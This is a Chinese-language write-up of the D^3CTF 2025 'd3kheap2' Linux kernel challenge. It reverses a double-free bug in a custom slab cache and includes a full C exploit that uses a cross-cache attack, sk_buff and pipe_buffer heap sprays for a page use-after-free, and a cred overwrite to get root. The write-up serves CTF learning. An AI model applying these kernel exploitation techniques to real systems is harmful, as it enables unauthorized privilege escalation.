[D^3CTF 2025] d3kheap2 writeup

本文总阅读量

从八点多痛苦调试到早上六点,不过最终终于做出来了

防护检查

./run.sh脚本非常正式,

由于没有给Kconfig,没法直观地检查相关的设置,不过可以从调试时的信息推测出开了哪些防御

逆向分析

逆向发现题目自己创建了一个slab cache,大小为0x800(相当于kmalloc-2k)

本题的漏洞仔细分析其实很明显,在kmem_cache_alloc的时候其实增加了两次计数

在设置为1后又自增了一次
1
2
3
4
5
6
7
8
...
v17 = kmem_cache_alloc_noprof(d3kheap2_cachep, 3520LL);
v11 = 2 * v19[0];
d3kheap2_bufs[2 * v19[0]] = v17;
... // some check
LODWORD(d3kheap2_bufs[v11 + 1]) = 1;
_InterlockedIncrement((volatile signed __int32 *)&d3kheap2_bufs[v11 + 1]);
...

kmem_cache_free的时候仅检验了计数是否为零,因此有一个Double Free原语

1
2
3
4
5
6
7
8
9
10
...
if ( !d3kheap2_bufs[2 * v19[0]] )
{
v16 = &unk_1733;
goto LABEL_18;
}
... // some check
_InterlockedDecrement((volatile signed __int32 *)&d3kheap2_bufs[v9 + 1]);
kmem_cache_free(d3kheap2_cachep, d3kheap2_bufs[2 * v19[0]]);
...

漏洞利用

需要注意的是这个Double Free是在题目自己的slab cache里边的,因此要展开进一步的利用,首先需要进行cross cache attack

内核版本太新导致和之前的cross-cache教程对不上,又是对着源码分析了一晚上

赛后发现好像没必要特殊构造一通,直接全free就能触发

cross-cache
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int fd = check(open(device, 2));
success("device open successfully\n");

kargs = malloc(0x100);

for (int i = 0; i < 0xe0; ++i) {
kargs[0] = i;
check(ioctl(fd, KALLOC, kargs));
}
info("alloc more finish\n");

for (int i = 0x0; i < 0x60; i += 0x10) {
kargs[0] = i;
check(ioctl(fd, KFREE, kargs));
}
info("free some\n");

for (int i = 0xa0; i < 0xc0; ++i) {
kargs[0] = i;
check(ioctl(fd, KFREE, kargs));
}
info("free chosen\n");

for (int i = 0x60; i < 0xa0; i += 0x10) {
kargs[0] = i;
check(ioctl(fd, KFREE, kargs));
}
info("free more\n");

success("trigger cross-cache attack!\n");

调试中发现开启了CONFIG_INIT_ON_FREE_DEFAULT_ON,即在free过后slab上的数据会立即被清零,这稍微增加了漏洞利用的难度

一开始想用struct msg_msgseg综合struct pipe_buffer来取数据,调试半天没成功放弃了,赛后发现其实是可以的

这里我选用的结构体是struct sk_buff,配合struct pipe_buffer完成漏洞转化

虽然根据定义后边有一大堆结构体数据,但是调试发现其中几乎全是滚木空的(本来还想通过这个泄漏数据)
尝试了一下即使全清零依旧可以取数据,于是就用该结构体配合pipe_buffer构造了page UAF

思路就是取走skb之后检验里边有没有pipe_buffer,找到两个之后堆喷其中一个再把装在sk_buff里边的伪“pipe_buffer”送回去,指向同一个页面

we'll change'em to the same one
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// INFO: Step 0x05: spray sk_buff agian
step("spray sk_buff agian");
info("we'll change'em to the same one:\n");
dump_hex((char *)pipe_buffer, 0x28);

int sk_sockets2[SOCKET_NUM][2];

for (int i = 0; i < SOCKET_NUM; i++) {
check(socketpair(AF_UNIX, SOCK_STREAM, 0, sk_sockets2[i]));
memset(skb_buf, 0, skb_size);
memcpy(skb_buf, pipe_buffer, 0x28);

for (int j = 0; j < SK_BUFF_NUM; ++j) {
check(write(sk_sockets2[i][0], skb_buf, skb_size));
}
}
success("spray sk_buff again successfully\n");

有了page UAF原语之后就堆喷cred_jar然后写cred_jar提权就行了,注意这里限制了fork的资源数,如果超限了就无法拿root shell了

:)

赛时没注意到这一点直接orw拿flag的,还因为flag太长没读全又打了一次才成功的
:(

Exp

赛后稍微修改了一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
#define _GNU_SOURCE
#include "./klog.h"
#include "./kpwn.h"
#include <arpa/inet.h>
#include <fcntl.h>
#include <net/if.h> // 添加 if_nametoindex 函数的头文件
#include <poll.h>
#include <pthread.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <threads.h>
#include <unistd.h>

#define TTY_MAGIC 0x200005401

#define KERNCALL __attribute__((regparm(3)))

#define PGV_PAGE_NUM 0x10

static void adjust_rlimit() {
struct rlimit rlim;
rlim.rlim_cur = rlim.rlim_max = (200 << 20);
warn_on(setrlimit(RLIMIT_AS, &rlim),
"can't set virtual space more than %#llx\n", 200ll << 20);

rlim.rlim_cur = rlim.rlim_max = 32 << 20;
warn_on(setrlimit(RLIMIT_MEMLOCK, &rlim),
"can't set memory lock more than %#llx\n", 32ll << 20);

rlim.rlim_cur = rlim.rlim_max = 136 << 20;
warn_on(setrlimit(RLIMIT_FSIZE, &rlim),
"can't set file size more than %#llx\n", 136ll << 20);

rlim.rlim_cur = rlim.rlim_max = 1 << 20;

warn_on(setrlimit(RLIMIT_STACK, &rlim),
"can't set stack size more than %#llx\n", 1ll << 20);

rlim.rlim_cur = rlim.rlim_max = 0;
warn_on(setrlimit(RLIMIT_CORE, &rlim), "can't set coredump size to 0\n");

getrlimit(RLIMIT_NPROC, &rlim);
warn("nporc's soft limit: %lu(%#lx), hard limit: %lu(%#lx)\n", rlim.rlim_cur,
rlim.rlim_cur, rlim.rlim_max, rlim.rlim_max);

// RLIMIT_FILE
rlim.rlim_cur = rlim.rlim_max = 14096;
if (setrlimit(RLIMIT_NOFILE, &rlim) < 0) {
warn("can't set open files more than %lu, trying 4096\n", rlim.rlim_max);
rlim.rlim_cur = rlim.rlim_max = 4096;
if (setrlimit(RLIMIT_NOFILE, &rlim) < 0) {
err_exit("setrlimit");
}
}
}

void __attribute__((constructor)) init() {
adjust_rlimit();
bind_cpu(0);
// unshare_setup();
page_size = sysconf(_SC_PAGESIZE);
info("page size: %#lx\n", page_size);
}

const char *device = "/proc/d3kheap2";

#define KALLOC 0x3361626e
#define KFREE 0x74747261
#define MAX 0x100

uint64_t *kargs;

// NOTE: Linux Kernel exploit template v6.12.31
// ioctl:
// 0x54433344:
// not complete
// 0x74747261:
// free idx * 2
// 0x4e575046:
// not complete
// 0x3361626e:
// alloc
// size: 0x800 kmalloc-2k
// kmalloc-2k 192 192 2048 16 8 : tunables 0 0 0 :
// cpu-partial: 3
// objs_per_slab: 16
// 0xffffffffc0002050
// 8 pages

int main() {

// INFO: Step 0x01: open device
step("open device");

save_stat();
int fd = check(open(device, 2));
success("device open successfully\n");

kargs = malloc(0x100);

for (int i = 0; i < 0xe0; ++i) {
kargs[0] = i;
check(ioctl(fd, KALLOC, kargs));
}
info("alloc more finish\n");

for (int i = 0x0; i < 0x60; i += 0x10) {
kargs[0] = i;
check(ioctl(fd, KFREE, kargs));
}
info("free some\n");

for (int i = 0xa0; i < 0xc0; ++i) {
kargs[0] = i;
check(ioctl(fd, KFREE, kargs));
}
info("free chosen\n");

for (int i = 0x60; i < 0xa0; i += 0x10) {
kargs[0] = i;
check(ioctl(fd, KFREE, kargs));
}
info("free more\n");

success("trigger cross-cache attack!\n");

// INFO: Step 0x02: spray sk_buff
step("spray sk_buff");
#define SOCKET_NUM 8
#define SK_BUFF_NUM 10
const uint64_t skb_reserve_size = 320;
const uint64_t skb_size = 0x800 - skb_reserve_size;

int sk_sockets[SOCKET_NUM][2];
char *skb_buf = (char *)malloc(0x1000);
char *skb_recv = (char *)malloc(0x1000);

for (int i = 0; i < SOCKET_NUM; i++) {
check(socketpair(AF_UNIX, SOCK_STREAM, 0, sk_sockets[i]));
memset(skb_buf, (char)i, skb_size);
memcpy(skb_buf, "hamoood", 0x8);

for (int j = 0; j < SK_BUFF_NUM; ++j) {
check(write(sk_sockets[i][0], skb_buf, skb_size));
}
}
success("spray sk_buff successfully\n");

for (int i = 0xb0; i < 0xb8; ++i) {
kargs[0] = i;
check(ioctl(fd, KFREE, kargs));
}
info("free finish\n");

// INFO: Step 0x03: spray pipe_buffer
step("spray pipe_buffer");
#define PIPE_NUM 0x100

info("spraying pipe\n");
int pipe_fds[PIPE_NUM][2];
char *pipe_buf = malloc(0x2000);
char *pipe_recv = malloc(0x2000);

for (int i = 0; i < PIPE_NUM; ++i) {
check(pipe(pipe_fds[i]));
check(fcntl(pipe_fds[i][1], F_SETPIPE_SZ, 0x1000 * 32));
}
info("finish pipe\n");

for (int i = 0; i < PIPE_NUM; ++i) {
memset(pipe_buf, (char)i, 0x2000);
memcpy(pipe_buf, "find__me", 0x8);
write(pipe_fds[i][1], pipe_buf, 0x208);
}
info("write pipe\n");

// INFO: Step 0x04: read skb
step("read skb");
uint64_t victim[2] = {0};
int vic_idx = 0;
uint64_t *pipe_buffer = malloc(0x28);

for (int i = 0; i < SOCKET_NUM; i++) {
for (int j = 0; j < SK_BUFF_NUM; ++j) {
check(read(sk_sockets[i][1], skb_recv, skb_size));
uint64_t *addr = (uint64_t *)skb_recv;
if ((addr[0] & 0xffff000000000000) == 0xffff000000000000) {
success("find pipe_buffer No.%d!\n", vic_idx + 1);
victim[vic_idx++] = addr[0];
dump_hex(skb_recv, 0x28);
if (vic_idx == 2) {
memcpy(pipe_buffer, skb_recv, 0x28);
goto FIND;
}
}
}
}
err_exit("not found");

FIND:
// INFO: Step 0x05: spray sk_buff agian
step("spray sk_buff agian");
info("we'll change'em to the same one:\n");
dump_hex((char *)pipe_buffer, 0x28);

int sk_sockets2[SOCKET_NUM][2];

for (int i = 0; i < SOCKET_NUM; i++) {
check(socketpair(AF_UNIX, SOCK_STREAM, 0, sk_sockets2[i]));
memset(skb_buf, 0, skb_size);
memcpy(skb_buf, pipe_buffer, 0x28);

for (int j = 0; j < SK_BUFF_NUM; ++j) {
check(write(sk_sockets2[i][0], skb_buf, skb_size));
}
}
success("spray sk_buff again successfully\n");

int vict = -1, hijack = -1;
for (int i = 0; i < PIPE_NUM; ++i) {
read(pipe_fds[i][0], pipe_recv, 0x20);
uint8_t check = pipe_recv[0x8];
if (check != i) {
success("find victim pipe: %d!\n", i);
success("it point to another pipe: %d!\n", check);
dump_hex(pipe_recv, 0x10);
vict = i;
hijack = check;
goto NEXT;
}
}
err_exit("not found");
NEXT:
close(pipe_fds[vict][0]);
close(pipe_fds[vict][1]);

for (int i = 0; i < 0x20; ++i) {
check(setuid(1000));
}
info("free victim pipe_buffer %d\n", vict);

info("spray cred_jar\n");

for (int i = 0; i < 0x130; ++i) {
if (!check(fork())) {
while (1) {
shell_noerr();
sleep(0x1);
}
exit(0);
}
}
info("fork to root\n");

kargs[0] = 0xff;
check(ioctl(fd, KALLOC, kargs));
memset(pipe_buf, 0, 0x80);
check(write(pipe_fds[hijack][1], pipe_buf, 0x30));
info("overwriting to root...\n");

for (;;) {
sleep(0x100);
}
return 0;
}